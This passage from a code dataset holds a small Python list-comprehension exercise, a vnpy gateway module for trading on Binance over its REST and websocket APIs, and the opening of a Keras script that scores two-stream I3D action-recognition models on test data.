\"Christopher\", \"Rachel\", \"MICHAEL\", \"jessika\", \"francine\",\"stanislaw\")\n\n# Use a list comprehension with a filtering condition so that only names with fewer than 8 characters end up in the new list. \n# Make sure that every name in the new list is in title case.\n\n\nfiltered_names = [name.title() for name in names if len(name) < 8]\n\nprint(*filtered_names, sep=\", \")\n\n","sub_path":"Day20/Day20_Excercise02.py","file_name":"Day20_Excercise02.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"101213502","text":"\"\"\"\nGateway for Binance Crypto Exchange.\n\"\"\"\n\nimport urllib\nimport hashlib\nimport hmac\nimport time\nimport json\n\nfrom copy import copy\nfrom datetime import datetime, timedelta\nfrom enum import Enum\nfrom threading import Lock\n\nfrom vnpy.api.rest import RestClient, Request\nfrom vnpy.api.websocket import WebsocketClient\nfrom vnpy.trader.constant import (\n Direction,\n Offset,\n Exchange,\n Product,\n Status,\n OrderType,\n Interval\n)\nfrom vnpy.trader.gateway import BaseGateway\nfrom vnpy.trader.object import (\n TickData,\n OrderData,\n TradeData,\n AccountData,\n PositionData,\n ContractData,\n BarData,\n OrderRequest,\n CancelRequest,\n SubscribeRequest,\n HistoryRequest\n)\nfrom vnpy.trader.event import EVENT_TIMER\nfrom vnpy.event import Event\nfrom vnpy.trader.utility import print_dict\nREST_HOST = \"https://www.binance.com\"\nWEBSOCKET_TRADE_HOST = \"wss://stream.binance.com:9443/ws/\"\nWEBSOCKET_DATA_HOST = \"wss://stream.binance.com:9443/stream?streams=\"\n\nSTATUS_BINANCE2VT = {\n \"NEW\": Status.NOTTRADED,\n \"PARTIALLY_FILLED\": Status.PARTTRADED,\n \"FILLED\": Status.ALLTRADED,\n \"CANCELED\": Status.CANCELLED,\n \"REJECTED\": Status.REJECTED\n}\n\nORDERTYPE_VT2BINANCE = {\n OrderType.LIMIT: \"LIMIT\",\n OrderType.MARKET: \"MARKET\"\n}\nORDERTYPE_BINANCE2VT = {v: k for k, v in ORDERTYPE_VT2BINANCE.items()}\n\nDIRECTION_VT2BINANCE = {\n Direction.LONG: \"BUY\",\n Direction.SHORT: \"SELL\"\n}\nDIRECTION_BINANCE2VT = {v: k for k, v in DIRECTION_VT2BINANCE.items()}\n\nINTERVAL_VT2BINANCE = {\n Interval.MINUTE: \"1m\",\n Interval.HOUR: \"1h\",\n Interval.DAILY: \"1d\",\n}\n\nTIMEDELTA_MAP = {\n Interval.MINUTE: timedelta(minutes=1),\n Interval.HOUR: timedelta(hours=1),\n Interval.DAILY: timedelta(days=1),\n}\n\n\nclass Security(Enum):\n NONE = 0\n SIGNED = 1\n API_KEY = 2\n\n\nsymbol_name_map = {}\n\n\nclass BinanceGateway(BaseGateway):\n \"\"\"\n VN Trader Gateway for Binance connection.\n \"\"\"\n\n default_setting = {\n \"key\": \"\",\n \"secret\": \"\",\n \"session_number\": 3,\n \"proxy_host\": \"\",\n \"proxy_port\": 0,\n }\n\n exchanges = [Exchange.BINANCE]\n\n def __init__(self, event_engine, gateway_name=\"BINANCE\"):\n \"\"\"Constructor\"\"\"\n super().__init__(event_engine, gateway_name)\n self.count = 0\n self.trade_ws_api = BinanceTradeWebsocketApi(self)\n self.market_ws_api = BinanceDataWebsocketApi(self)\n self.rest_api = BinanceRestApi(self)\n\n def connect(self, setting: dict):\n \"\"\"\"\"\"\n key = setting[\"key\"]\n secret = setting[\"secret\"]\n session_number = setting[\"session_number\"]\n proxy_host = setting[\"proxy_host\"]\n proxy_port = setting[\"proxy_port\"]\n\n self.rest_api.connect(key, secret, session_number,\n proxy_host, proxy_port)\n self.market_ws_api.connect(proxy_host, proxy_port)\n\n self.event_engine.register(EVENT_TIMER, self.process_timer_event)\n\n def subscribe(self, req: SubscribeRequest):\n \"\"\"\"\"\"\n self.market_ws_api.subscribe(req)\n\n def send_order(self, req: OrderRequest):\n \"\"\"\"\"\"\n return self.rest_api.send_order(req)\n\n def cancel_order(self, req: CancelRequest):\n \"\"\"\"\"\"\n self.rest_api.cancel_order(req)\n\n def query_account(self):\n \"\"\"\"\"\"\n pass\n\n def query_position(self):\n \"\"\"\"\"\"\n pass\n\n def query_history(self, req: HistoryRequest):\n \"\"\"\"\"\"\n return self.rest_api.query_history(req)\n\n def close(self):\n \"\"\"\"\"\"\n self.rest_api.stop()\n self.trade_ws_api.stop()\n self.market_ws_api.stop()\n\n def process_timer_event(self, event: Event):\n \"\"\"\"\"\"\n self.rest_api.keep_user_stream()\n if self.status.get('td_con', False) \\\n and self.status.get('tdws_con', False) \\\n and self.status.get('mdws_con', False):\n self.status.update({'con': True})\n\n self.count += 1\n if self.count < 5:\n return\n self.count = 0\n if len(self.query_functions) > 0:\n func = self.query_functions.pop(0)\n func()\n self.query_functions.append(func)\n\n def get_order(self, orderid: str):\n return self.rest_api.get_order(orderid)\n\nclass BinanceRestApi(RestClient):\n \"\"\"\n BINANCE REST API\n \"\"\"\n\n def __init__(self, gateway: BinanceGateway):\n \"\"\"\"\"\"\n super().__init__()\n\n self.gateway = gateway\n self.gateway_name = gateway.gateway_name\n\n self.trade_ws_api = self.gateway.trade_ws_api\n\n self.key = \"\"\n self.secret = \"\"\n\n self.user_stream_key = \"\"\n self.keep_alive_count = 0\n self.recv_window = 5000\n self.time_offset = 0\n\n self.order_count = 1_000_000\n self.order_count_lock = Lock()\n self.connect_time = 0\n\n self.assets = {} # 币资产的合约信息, symbol: contract\n self.positions = {} # 币持仓信息, symbol: position\n\n self.orders = {}\n\n self.accountid = \"\"\n\n def sign(self, request):\n \"\"\"\n Generate BINANCE signature.\n \"\"\"\n security = request.data[\"security\"]\n if security == Security.NONE:\n request.data = None\n return request\n\n if request.params:\n path = request.path + \"?\" + urllib.parse.urlencode(request.params)\n else:\n request.params = dict()\n path = request.path\n\n if security == Security.SIGNED:\n timestamp = int(time.time() * 1000)\n\n if self.time_offset > 0:\n timestamp -= abs(self.time_offset)\n elif self.time_offset < 0:\n timestamp += abs(self.time_offset)\n\n request.params[\"timestamp\"] = timestamp\n\n query = urllib.parse.urlencode(sorted(request.params.items()))\n signature = hmac.new(self.secret, query.encode(\n \"utf-8\"), hashlib.sha256).hexdigest()\n\n query += \"&signature={}\".format(signature)\n path = request.path + \"?\" + query\n\n request.path = path\n request.params = {}\n request.data = {}\n\n # Add headers\n headers = {\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n \"Accept\": \"application/json\",\n \"X-MBX-APIKEY\": self.key\n }\n\n if security in [Security.SIGNED, Security.API_KEY]:\n request.headers = headers\n\n return request\n\n def connect(\n self,\n key: str,\n secret: str,\n session_number: int,\n proxy_host: str,\n proxy_port: int\n ):\n \"\"\"\n Initialize connection to REST server.\n \"\"\"\n self.key = key\n self.secret = secret.encode()\n self.proxy_port = proxy_port\n self.proxy_host = proxy_host\n\n self.connect_time = (\n int(datetime.now().strftime(\"%y%m%d%H%M%S\")) * self.order_count\n )\n\n self.init(REST_HOST, proxy_host, proxy_port)\n self.start(session_number)\n\n self.gateway.write_log(\"REST API启动成功\")\n self.gateway.status.update({'md_con': True, 'md_con_time': datetime.now().strftime('%Y-%m-%d %H:%M:%S')})\n self.query_time()\n self.query_account()\n self.query_order()\n self.query_contract()\n self.start_user_stream()\n\n # 添加到定时查询队列中\n self.gateway.query_functions = [self.query_account]\n\n def query_time(self):\n \"\"\"\"\"\"\n data = {\n \"security\": Security.NONE\n }\n path = \"/api/v1/time\"\n\n return self.add_request(\n \"GET\",\n path,\n callback=self.on_query_time,\n data=data\n )\n\n def query_account(self):\n \"\"\"\"\"\"\n data = {\"security\": Security.SIGNED}\n\n self.add_request(\n method=\"GET\",\n path=\"/api/v3/account\",\n callback=self.on_query_account,\n data=data\n )\n\n def query_order(self):\n \"\"\"\"\"\"\n data = {\"security\": Security.SIGNED}\n\n self.add_request(\n method=\"GET\",\n path=\"/api/v3/openOrders\",\n callback=self.on_query_order,\n data=data\n )\n\n def query_contract(self):\n \"\"\"\"\"\"\n data = {\n \"security\": Security.NONE\n }\n self.add_request(\n method=\"GET\",\n path=\"/api/v1/exchangeInfo\",\n callback=self.on_query_contract,\n data=data\n )\n\n def _new_order_id(self):\n \"\"\"\"\"\"\n with self.order_count_lock:\n self.order_count += 1\n return self.order_count\n\n def get_order(self, orderid: str):\n \"\"\"返回缓存的Order\"\"\"\n return self.orders.get(orderid, None)\n\n def send_order(self, req: OrderRequest):\n \"\"\"\"\"\"\n orderid = str(self.connect_time + self._new_order_id())\n order = req.create_order_data(\n orderid,\n self.gateway_name\n )\n if order.direction == Direction.LONG and order.offset != Offset.OPEN:\n order.offset = Offset.OPEN\n elif order.direction == Direction.SHORT and order.offset !=Offset.CLOSE:\n order.offset = Offset.CLOSE\n\n order.accountid = self.accountid\n order.vt_accountid = f\"{self.gateway_name}.{self.accountid}\"\n order.datetime = datetime.now()\n self.orders.update({orderid: copy(order)})\n self.gateway.write_log(f'委托返回订单更新:{order.__dict__}')\n self.gateway.on_order(order)\n\n data = {\n \"security\": Security.SIGNED\n }\n\n params = {\n \"symbol\": req.symbol,\n \"timeInForce\": \"GTC\",\n \"side\": DIRECTION_VT2BINANCE[req.direction],\n \"type\": ORDERTYPE_VT2BINANCE[req.type],\n \"price\": str(req.price),\n \"quantity\": str(req.volume),\n \"newClientOrderId\": orderid,\n \"newOrderRespType\": \"ACK\"\n }\n\n if req.type == OrderType.MARKET:\n params.pop('timeInForce', None)\n params.pop('price', None)\n\n self.add_request(\n method=\"POST\",\n path=\"/api/v3/order\",\n callback=self.on_send_order,\n data=data,\n params=params,\n extra=order,\n on_error=self.on_send_order_error,\n on_failed=self.on_send_order_failed\n )\n\n return order.vt_orderid\n\n def cancel_order(self, req: CancelRequest):\n \"\"\"\"\"\"\n data = {\n \"security\": Security.SIGNED\n }\n\n params = {\n \"symbol\": req.symbol,\n \"origClientOrderId\": req.orderid\n }\n\n self.add_request(\n method=\"DELETE\",\n path=\"/api/v3/order\",\n callback=self.on_cancel_order,\n params=params,\n data=data,\n extra=req\n )\n\n def start_user_stream(self):\n \"\"\"\"\"\"\n data = {\n \"security\": Security.API_KEY\n }\n\n self.add_request(\n method=\"POST\",\n path=\"/api/v1/userDataStream\",\n callback=self.on_start_user_stream,\n data=data\n )\n\n def keep_user_stream(self):\n \"\"\"\"\"\"\n self.keep_alive_count += 1\n if self.keep_alive_count < 600:\n return\n self.keep_alive_count = 0\n\n data = {\n \"security\": Security.API_KEY\n }\n\n params = {\n \"listenKey\": self.user_stream_key\n }\n\n self.add_request(\n method=\"PUT\",\n path=\"/api/v1/userDataStream\",\n callback=self.on_keep_user_stream,\n params=params,\n data=data\n )\n\n def on_query_time(self, data, request):\n \"\"\"\"\"\"\n local_time = int(time.time() * 1000)\n server_time = int(data[\"serverTime\"])\n self.time_offset = local_time - server_time\n\n def on_query_account(self, data, request):\n \"\"\"\"\"\"\n # ==》 account event\n if not self.accountid:\n self.accountid = self.gateway_name\n\n account = AccountData(\n accountid=self.accountid,\n balance=0,\n frozen=0,\n gateway_name=self.gateway_name\n )\n\n put_event_account = True\n # ==> position event\n for account_data in data[\"balances\"]:\n pos = PositionData(\n accountid=self.gateway_name,\n symbol=account_data[\"asset\"],\n exchange=Exchange.BINANCE,\n direction=Direction.NET,\n name='{}现货'.format(account_data[\"asset\"]),\n volume=float(account_data[\"free\"]) + float(account_data[\"locked\"]),\n yd_volume=float(account_data[\"free\"]) + float(account_data[\"locked\"]),\n frozen=float(account_data[\"locked\"]),\n gateway_name=self.gateway_name\n )\n\n #\n if pos.volume > 0 or (pos.volume == 0 and pos.symbol in self.positions):\n # 判断是否在本地缓存持仓中\n self.positions.update({pos.symbol: pos})\n self.gateway.on_position(copy(pos))\n\n if pos.symbol == 'USDT':\n pos.cur_price = 1\n account.balance += pos.volume\n else:\n price = self.gateway.prices.get(f'{pos.symbol}USDT.{pos.exchange.value}', None)\n\n if price is None:\n req = SubscribeRequest(\n symbol=f'{pos.symbol}USDT',\n exchange=pos.exchange\n )\n self.gateway.subscribe(req)\n put_event_account = False\n else:\n pos.cur_price = price\n account.balance += pos.volume * price\n\n\n if put_event_account:\n self.gateway.on_account(account)\n #self.gateway.write_log(\"账户资金查询成功\")\n\n def on_query_order(self, data, request):\n \"\"\"\"\"\"\n for d in data:\n dt = datetime.fromtimestamp(d[\"time\"] / 1000)\n time = dt.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n order = OrderData(\n accountid=self.accountid,\n orderid=d[\"clientOrderId\"],\n symbol=d[\"symbol\"],\n exchange=Exchange.BINANCE,\n price=float(d[\"price\"]),\n volume=float(d[\"origQty\"]),\n type=ORDERTYPE_BINANCE2VT[d[\"type\"]],\n direction=DIRECTION_BINANCE2VT[d[\"side\"]],\n traded=float(d[\"executedQty\"]),\n status=STATUS_BINANCE2VT.get(d[\"status\"], None),\n time=time,\n gateway_name=self.gateway_name,\n )\n self.orders.update({order.orderid: copy(order)})\n self.gateway.write_log(f'返回订单查询结果:{order.__dict__}')\n self.gateway.on_order(order)\n\n self.gateway.write_log(\"委托信息查询成功\")\n\n def on_query_contract(self, data, request):\n \"\"\"\"\"\"\n for d in data[\"symbols\"]:\n base_currency = d[\"baseAsset\"]\n quote_currency = d[\"quoteAsset\"]\n name = f\"{base_currency.upper()}/{quote_currency.upper()}\"\n\n pricetick = 1\n min_volume = 1\n\n for f in d[\"filters\"]:\n if f[\"filterType\"] == \"PRICE_FILTER\":\n pricetick = float(f[\"tickSize\"])\n elif f[\"filterType\"] == \"LOT_SIZE\":\n min_volume = float(f[\"stepSize\"])\n\n contract = ContractData(\n symbol=d[\"symbol\"],\n exchange=Exchange.BINANCE,\n name=name,\n pricetick=pricetick,\n size=1,\n min_volume=min_volume,\n product=Product.SPOT,\n history_data=True,\n gateway_name=self.gateway_name,\n )\n self.gateway.on_contract(contract)\n\n for symbol in [d.get(\"baseAsset\"), d.get(\"quoteAsset\")]:\n if symbol and symbol not in self.assets:\n asset_contract = ContractData(\n symbol=symbol,\n exchange=Exchange.BINANCE,\n name=\"{}现货\".format(symbol),\n pricetick=0.000001,\n size=1,\n min_volume=0.00001,\n product=Product.SPOT,\n history_data=True,\n gateway_name=self.gateway_name,\n )\n self.assets.update({symbol: asset_contract})\n self.gateway.on_contract(copy(asset_contract))\n\n symbol_name_map[contract.symbol] = contract.name\n\n self.gateway.write_log(\"合约信息查询成功\")\n\n def on_send_order(self, data, request):\n \"\"\"\"\"\"\n pass\n\n def on_send_order_failed(self, status_code: str, request: Request):\n \"\"\"\n Callback when sending order failed on server.\n \"\"\"\n order = request.extra\n order.status = Status.REJECTED\n self.orders.update({order.orderid: copy(order)})\n self.gateway.write_log(f'订单委托失败:{order.__dict__}')\n if not order.accountid:\n order.accountid = self.accountid\n order.vt_accountid = f\"{self.gateway_name}.{self.accountid}\"\n if not order.datetime:\n order.datetime = datetime.now()\n self.gateway.on_order(order)\n\n msg = f\"委托失败,状态码:{status_code},信息:{request.response.text}\"\n self.gateway.write_log(msg)\n\n def on_send_order_error(\n self, exception_type: type, exception_value: Exception, tb, request: Request\n ):\n \"\"\"\n Callback when sending order caused exception.\n \"\"\"\n order = request.extra\n order.status = Status.REJECTED\n self.orders.update({order.orderid: copy(order)})\n self.gateway.write_log(f'发送订单异常:{order.__dict__}')\n if not order.accountid:\n order.accountid = self.accountid\n order.vt_accountid = f\"{self.gateway_name}.{self.accountid}\"\n if not order.datetime:\n order.datetime = datetime.now()\n self.gateway.on_order(order)\n\n # Record exception if not ConnectionError\n if not issubclass(exception_type, ConnectionError):\n self.on_error(exception_type, exception_value, tb, request)\n\n def on_cancel_order(self, data, request):\n \"\"\"\"\"\"\n pass\n\n def on_start_user_stream(self, data, request):\n \"\"\"\"\"\"\n self.user_stream_key = data[\"listenKey\"]\n self.keep_alive_count = 0\n url = WEBSOCKET_TRADE_HOST + self.user_stream_key\n\n self.trade_ws_api.connect(url, self.proxy_host, self.proxy_port)\n\n def on_keep_user_stream(self, data, request):\n \"\"\"\"\"\"\n pass\n\n def query_history(self, req: HistoryRequest):\n \"\"\"\"\"\"\n history = []\n limit = 1000\n start_time = int(datetime.timestamp(req.start))\n\n while True:\n # Create query params\n params = {\n \"symbol\": req.symbol,\n \"interval\": INTERVAL_VT2BINANCE[req.interval],\n \"limit\": limit,\n \"startTime\": start_time * 1000, # convert to millisecond\n }\n\n # Add end time if specified\n if req.end:\n end_time = int(datetime.timestamp(req.end))\n params[\"endTime\"] = end_time * 1000 # convert to millisecond\n\n # Get response from server\n resp = self.request(\n \"GET\",\n \"/api/v1/klines\",\n data={\"security\": Security.NONE},\n params=params\n )\n\n # Break if request failed with other status code\n if resp.status_code // 100 != 2:\n msg = f\"获取历史数据失败,状态码:{resp.status_code},信息:{resp.text}\"\n self.gateway.write_log(msg)\n break\n else:\n data = resp.json()\n if not data:\n msg = f\"获取历史数据为空,开始时间:{start_time}\"\n self.gateway.write_log(msg)\n break\n\n buf = []\n\n for l in data:\n dt = datetime.fromtimestamp(l[0] / 1000) # convert to second\n\n bar = BarData(\n symbol=req.symbol,\n exchange=req.exchange,\n datetime=dt,\n interval=req.interval,\n volume=float(l[5]),\n open_price=float(l[1]),\n high_price=float(l[2]),\n low_price=float(l[3]),\n close_price=float(l[4]),\n trading_day=dt.strftime('%Y-%m-%d'),\n gateway_name=self.gateway_name\n )\n buf.append(bar)\n\n history.extend(buf)\n\n begin = buf[0].datetime\n end = buf[-1].datetime\n msg = f\"获取历史数据成功,{req.symbol} - {req.interval.value},{begin} - {end}\"\n self.gateway.write_log(msg)\n\n # Break if total data count less than limit (latest date collected)\n if len(data) < limit:\n break\n\n # Update start time\n start_dt = bar.datetime + TIMEDELTA_MAP[req.interval]\n start_time = int(datetime.timestamp(start_dt))\n\n return history\n\n\nclass BinanceTradeWebsocketApi(WebsocketClient):\n \"\"\"\"\"\"\n\n def __init__(self, gateway):\n \"\"\"\"\"\"\n super().__init__()\n\n self.gateway = gateway\n self.gateway_name = gateway.gateway_name\n\n def connect(self, url, proxy_host, proxy_port):\n \"\"\"\"\"\"\n self.init(url, proxy_host, proxy_port)\n self.start()\n\n def on_connected(self):\n \"\"\"\"\"\"\n self.gateway.write_log(\"交易Websocket API连接成功\")\n self.gateway.status.update({'tdws_con': True, 'tdws_con_time': datetime.now().strftime('%Y-%m-%d %H:%M:%S')})\n\n def on_packet(self, packet: dict): # type: (dict)->None\n \"\"\"\"\"\"\n if packet[\"e\"] == \"outboundAccountInfo\":\n self.on_account(packet)\n elif packet[\"e\"] == \"executionReport\":\n self.on_order(packet)\n\n def on_account(self, packet):\n \"\"\"web socket的账号更新信息\"\"\"\n\n # 这里不处理,改为定时resful查询进行更新\n \"\"\"\n for d in packet[\"B\"]:\n account = AccountData(\n accountid=d[\"a\"],\n balance=float(d[\"f\"]) + float(d[\"l\"]),\n frozen=float(d[\"l\"]),\n gateway_name=self.gateway_name\n )\n\n if account.balance:\n self.gateway.on_account(account)\n \"\"\"\n return\n\n def on_order(self, packet: dict):\n \"\"\"\"\"\"\n self.gateway.write_log('ws返回订单更新:\\n'.format(json.dumps(packet, indent=2)))\n dt = datetime.fromtimestamp(packet[\"O\"] / 1000)\n time = dt.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n if packet[\"C\"] == \"null\" or len(packet['C']) == 0:\n orderid = packet[\"c\"]\n else:\n orderid = packet[\"C\"]\n\n # 尝试从缓存中获取订单\n order = self.gateway.get_order(orderid)\n if order:\n order.traded = float(packet[\"z\"])\n order.status = STATUS_BINANCE2VT[packet[\"X\"]]\n if order.status in [Status.CANCELLED, Status.REJECTED]:\n order.cancel_time = time\n if len(order.sys_orderid) == 0:\n order.sys_orderid = str(packet[\"i\"])\n else:\n self.gateway.write_log(f'缓存中根据orderid:{orderid} 找不到Order,创建一个新的')\n self.gateway.write_log(print_dict(packet))\n order = OrderData(\n accountid=self.gateway_name,\n symbol=packet[\"s\"],\n exchange=Exchange.BINANCE,\n orderid=orderid,\n sys_orderid=str(packet['i']),\n type=ORDERTYPE_BINANCE2VT[packet[\"o\"]],\n direction=DIRECTION_BINANCE2VT[packet[\"S\"]],\n price=float(packet[\"p\"]),\n volume=float(packet[\"q\"]),\n traded=float(packet[\"z\"]),\n status=STATUS_BINANCE2VT[packet[\"X\"]],\n datetime=dt,\n time=time,\n gateway_name=self.gateway_name\n )\n if order.direction == Direction.LONG:\n order.offset = Offset.OPEN\n elif order.direction == Direction.SHORT:\n order.offset = Offset.CLOSE\n\n self.gateway.write_log(f'WS订单更新:\\n{order.__dict__}')\n self.gateway.on_order(order)\n\n # Push trade event\n trade_volume = float(packet[\"l\"])\n if not trade_volume:\n return\n\n trade_dt = datetime.fromtimestamp(packet[\"T\"] / 1000)\n trade_time = trade_dt.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n trade = TradeData(\n accountid=self.gateway_name,\n symbol=order.symbol,\n exchange=order.exchange,\n orderid=order.orderid,\n tradeid=packet[\"t\"],\n direction=order.direction,\n price=float(packet[\"L\"]),\n volume=trade_volume,\n time=trade_time,\n datetime=trade_dt,\n gateway_name=self.gateway_name,\n )\n if trade.direction == Direction.LONG:\n trade.offset = Offset.OPEN\n elif trade.direction == Direction.SHORT:\n trade.offset = Offset.CLOSE\n\n self.gateway.write_log(f'WS成交更新:\\n{trade.__dict__}')\n self.gateway.on_trade(trade)\n\n\nclass BinanceDataWebsocketApi(WebsocketClient):\n \"\"\"\"\"\"\n\n def __init__(self, gateway):\n \"\"\"\"\"\"\n super().__init__()\n\n self.gateway = gateway\n self.gateway_name = gateway.gateway_name\n\n self.ticks = {}\n\n def connect(self, proxy_host: str, proxy_port: int):\n \"\"\"\"\"\"\n self.proxy_host = proxy_host\n self.proxy_port = proxy_port\n\n def on_connected(self):\n \"\"\"\"\"\"\n self.gateway.write_log(\"行情Websocket API连接刷新\")\n self.gateway.status.update({'mdws_con': True, 'mdws_con_time': datetime.now().strftime('%Y-%m-%d %H:%M:%S')})\n\n def subscribe(self, req: SubscribeRequest):\n \"\"\"\"\"\"\n if req.symbol not in symbol_name_map:\n self.gateway.write_log(f\"找不到该合约代码{req.symbol}\")\n return\n\n # Create tick buf data\n tick = TickData(\n symbol=req.symbol,\n name=symbol_name_map.get(req.symbol, \"\"),\n exchange=Exchange.BINANCE,\n datetime=datetime.now(),\n gateway_name=self.gateway_name,\n )\n self.ticks[req.symbol.lower()] = tick\n\n # Close previous connection\n if self._active:\n self.stop()\n self.join()\n\n # Create new connection\n channels = []\n for ws_symbol in self.ticks.keys():\n channels.append(ws_symbol + \"@ticker\")\n channels.append(ws_symbol + \"@depth5\")\n\n url = WEBSOCKET_DATA_HOST + \"/\".join(channels)\n self.init(url, self.proxy_host, self.proxy_port)\n self.start()\n\n def on_packet(self, packet):\n \"\"\"\"\"\"\n stream = packet[\"stream\"]\n data = packet[\"data\"]\n\n symbol, channel = stream.split(\"@\")\n tick = self.ticks[symbol]\n\n if channel == \"ticker\":\n tick_dt = datetime.fromtimestamp(float(data['E']) / 1000)\n trading_day = tick_dt.strftime('%Y-%m-%d')\n today_volume = float(data['v'])\n if tick.trading_day == trading_day:\n volume_changed = max(0, today_volume - tick.volume)\n else:\n volume_changed = today_volume if len(tick.trading_day) > 0 else 1\n\n tick.volume = today_volume\n tick.last_volume = volume_changed\n tick.open_price = float(data['o'])\n tick.high_price = float(data['h'])\n tick.low_price = float(data['l'])\n tick.last_price = float(data['c'])\n tick.datetime = tick_dt\n tick.trading_day = trading_day\n tick.date = tick.trading_day\n tick.time = tick.datetime.strftime('%H:%M:%S.%f')\n else:\n bids = data[\"bids\"]\n for n in range(5):\n price, volume = bids[n]\n tick.__setattr__(\"bid_price_\" + str(n + 1), float(price))\n tick.__setattr__(\"bid_volume_\" + str(n + 1), float(volume))\n\n asks = data[\"asks\"]\n for n in range(5):\n price, volume = asks[n]\n tick.__setattr__(\"ask_price_\" + str(n + 1), float(price))\n tick.__setattr__(\"ask_volume_\" + str(n + 1), float(volume))\n\n if tick.last_price:\n self.gateway.on_tick(copy(tick))\n","sub_path":"vnpy/gateway/binance/binance_gateway.py","file_name":"binance_gateway.py","file_ext":"py","file_size_in_byte":29370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"11538380","text":"import keras\nimport glob\nimport numpy as np\nimport tensorflow as tf\nfrom keras import backend\n\nconfig = tf.ConfigProto()\nconfig.gpu_options.per_process_gpu_memory_fraction = 0.4\nsess = tf.Session(config=config)\nbackend.set_session(sess)\n\n#rgb_model_path = \"Model/2018-11-29_18-31-56_rgb-i3d_all-last.h5\"\n#optical_model_path = \"Model/2018-12-05_13-58-51_optical-i3d_all-last.h5\"\nrgb_model_path = \"Model/2018-11-07_15-24-45_rgb-i3d_all-last.h5\"\noptical_model_path = \"Model/2018-11-09_17-22-40_optical-i3d_all-last.h5\"\n\nprint(\"Load rgb_model %s ...\" % rgb_model_path)\nprint(\"Load optical_model %s ...\" % optical_model_path)\n\nrgb_model = keras.models.load_model(rgb_model_path)\noptical_model = keras.models.load_model(optical_model_path)\n\ntest0_rgb_path = \"Test_79f/Test_rgb/0\"\ntest0_optical_path = \"Test_79f/Test_optical/0\"\ntest0_rgb_list = glob.glob(test0_rgb_path + \"/*\")\ntest0_optical_list = glob.glob(test0_optical_path + \"/*\")\ntest0_rgb_list.sort()\ntest0_optical_list.sort()\n\ntest1_rgb_path = \"Test_79f/Test_rgb/1\"\ntest1_optical_path = \"Test_79f/Test_optical/1\"\ntest1_rgb_list = glob.glob(test1_rgb_path + \"/*\")\ntest1_optical_list = glob.glob(test1_optical_path + \"/*\")\ntest1_rgb_list.sort()\ntest1_optical_list.sort()\n\ntest2_rgb_path = \"Test_79f/Test_rgb/2\"\ntest2_optical_path = \"Test_79f/Test_optical/2\"\ntest2_rgb_list = glob.glob(test2_rgb_path + \"/*\")\ntest2_optical_list = glob.glob(test2_optical_path + \"/*\")\ntest2_rgb_list.sort()\ntest2_optical_list.sort()\n\ntest3_rgb_path = \"Test_79f/Test_rgb/3\"\ntest3_optical_path = \"Test_79f/Test_optical/3\"\ntest3_rgb_list = glob.glob(test3_rgb_path + \"/*\")\ntest3_optical_list = glob.glob(test3_optical_path + \"/*\")\ntest3_rgb_list.sort()\ntest3_optical_list.sort()\n\ntest4_rgb_path = \"Test_79f/Test_rgb/4\"\ntest4_optical_path = \"Test_79f/Test_optical/4\"\ntest4_rgb_list = glob.glob(test4_rgb_path + \"/*\")\ntest4_optical_list = glob.glob(test4_optical_path + \"/*\")\ntest4_rgb_list.sort()\ntest4_optical_list.sort()\n\ntest5_rgb_path = \"Test_79f/Test_rgb/5\"\ntest5_optical_path = \"Test_79f/Test_optical/5\"\ntest5_rgb_list = glob.glob(test5_rgb_path + \"/*\")\ntest5_optical_list = glob.glob(test5_optical_path + \"/*\")\ntest5_rgb_list.sort()\ntest5_optical_list.sort()\n\ntest0_total = len(test0_rgb_list)\ntest1_total = len(test1_rgb_list)\ntest2_total = len(test2_rgb_list)\ntest3_total = len(test3_rgb_list)\ntest4_total = len(test4_rgb_list)\ntest5_total = len(test5_rgb_list)\n\nprint(\"class0の総数(テスト): \" + str(test0_total))\nprint(\"class1の総数(テスト): \" + str(test1_total))\nprint(\"class2の総数(テスト): \" + str(test2_total))\nprint(\"class3の総数(テスト): \" + str(test3_total))\nprint(\"class4の総数(テスト): \" + str(test4_total))\nprint(\"class5の総数(テスト): \" + str(test5_total))\n\ntotal = test0_total + test1_total + test2_total + test3_total + test4_total + test5_total\nprint(\"classの総数(テスト): \" + str(total))\n\ncount0 = 0\nfor i in range(len(test0_rgb_list)):\n rgb_test_data = np.load(test0_rgb_list[i])\n optical_test_data = np.load(test0_optical_list[i])\n tmp_r_test = []\n tmp_o_test = []\n tmp_r_test.append(rgb_test_data)\n tmp_o_test.append(optical_test_data)\n rgb_test_data = np.array(tmp_r_test)\n optical_test_data = np.array(tmp_o_test)\n\n rgb_predict = rgb_model.predict(rgb_test_data)\n optical_predict = optical_model.predict(optical_test_data)\n predict = rgb_predict + optical_predict\n \n predict = predict[0]\n predictions = np.exp(predict) / np.sum(np.exp(predict))\n sorted_indices = np.argsort(predictions)[::-1]\n \n if sorted_indices[0] == 0:\n count0 += 1\n\nacc0 = count0/test0_total\nprint(\"Accuracy(class0): \" + str(acc0))\n\ncount1 = 0\nfor i in range(len(test1_rgb_list)):\n rgb_test_data = np.load(test1_rgb_list[i])\n optical_test_data = np.load(test1_optical_list[i])\n tmp_r_test = []\n tmp_o_test = []\n tmp_r_test.append(rgb_test_data)\n tmp_o_test.append(optical_test_data)\n rgb_test_data = np.array(tmp_r_test)\n optical_test_data = np.array(tmp_o_test)\n\n rgb_predict = rgb_model.predict(rgb_test_data)\n optical_predict = optical_model.predict(optical_test_data)\n predict = rgb_predict + optical_predict\n \n predict = predict[0]\n predictions = np.exp(predict) / np.sum(np.exp(predict))\n sorted_indices = np.argsort(predictions)[::-1]\n \n if sorted_indices[0] == 1:\n count1 += 1\n\nacc1 = count1/test1_total\nprint(\"Accuracy(class1): \" + str(acc1))\n\ncount2 = 0\nfor i in range(len(test2_rgb_list)):\n rgb_test_data = np.load(test2_rgb_list[i])\n optical_test_data = np.load(test2_optical_list[i])\n tmp_r_test = []\n tmp_o_test = []\n tmp_r_test.append(rgb_test_data)\n tmp_o_test.append(optical_test_data)\n rgb_test_data = np.array(tmp_r_test)\n optical_test_data = np.array(tmp_o_test)\n\n rgb_predict = rgb_model.predict(rgb_test_data)\n optical_predict = optical_model.predict(optical_test_data)\n predict = rgb_predict + optical_predict\n \n predict = predict[0]\n predictions = np.exp(predict) / np.sum(np.exp(predict))\n sorted_indices = 